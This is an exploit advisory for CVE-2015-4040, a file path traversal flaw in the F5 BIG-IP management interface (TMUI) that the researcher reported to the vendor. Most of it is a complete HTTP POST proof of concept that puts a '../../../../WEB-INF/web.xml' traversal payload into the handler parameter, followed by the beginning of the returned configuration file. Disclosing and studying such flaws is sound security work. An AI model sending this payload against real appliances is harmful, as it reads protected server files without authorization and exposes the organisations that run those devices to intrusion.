# Exploit Title: [F5 BigIP File Path Traversal Vulnerability]
# Discovered by: Karn Ganeshen
# Reported on: April 27, 2015
# New version released on: September 01, 2015
# Vendor Homepage: [www.f5.com]
# Version Reported: [F5 BIG-IP 10.2.4 Build 595.0 Hotfix HF3]
# CVE-2015-4040 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4040]
# Multiple Additional F5 products & versions are Affected and documented here: https://support.f5.com/kb/en-us/solutions/public/17000/200/sol17253.html

Vulnerability Details
The handler parameter is vulnerable to file path manipulation attacks. 

When we submit a payload /tmui/locallb/virtual_server/../../../../WEB-INF/web.xml in the handler parameter, the file WEB-INF/web.xml is returned.

PoC:

POST /tmui/Control/form HTTP/1.1
Host: <IP>
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https://<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp?&FilterBy=status_availability&Filter=2
Content-Type: application/x-www-form-urlencoded
Content-Length: 1004
Cookie: JSESSIONID=3211A73547444840255BAF39984E7E3F; BIGIPAuthUsernameCookie=admin; BIGIPAuthCookie=9B1099DD8A936DDBD58606DA3B5BABC7E82C43A5; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/locallb/virtual_server/list.jsp?&"; f5_refreshpage="https%3A//<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp"; f5currenttab="main"; f5mainmenuopenlist=""; f5advanceddisplay=""

_timenow=Fri+Apr+24+14%3a48%3a38+EST+2015&_bufvalue_before=6hU2%2fMbRfPe7OHQ7VVc7TEffOpg%3d&exit_page=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&search_input=*&search_button_before=Search&_timeno
...[SNIP]...
fore=&enableObjList_before=&exit_page_before=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&row_count=0&_bufvalue_validation=NO_VALIDATION&disable_before=Disable&exit_button_before=Create...&handler=%2ftmui%2flocallb%2fvirtual_server%2f..%2f..%2f..%2f..%2fWEB-INF%2fweb.xml


Web.xml is returned in the Response:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN"
"http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">
<!--
Automatically created by Tomcat JspC.
-->
<web-app>
...[config file output redacted here]...

.....

-- 
Best Regards,
Karn Ganeshen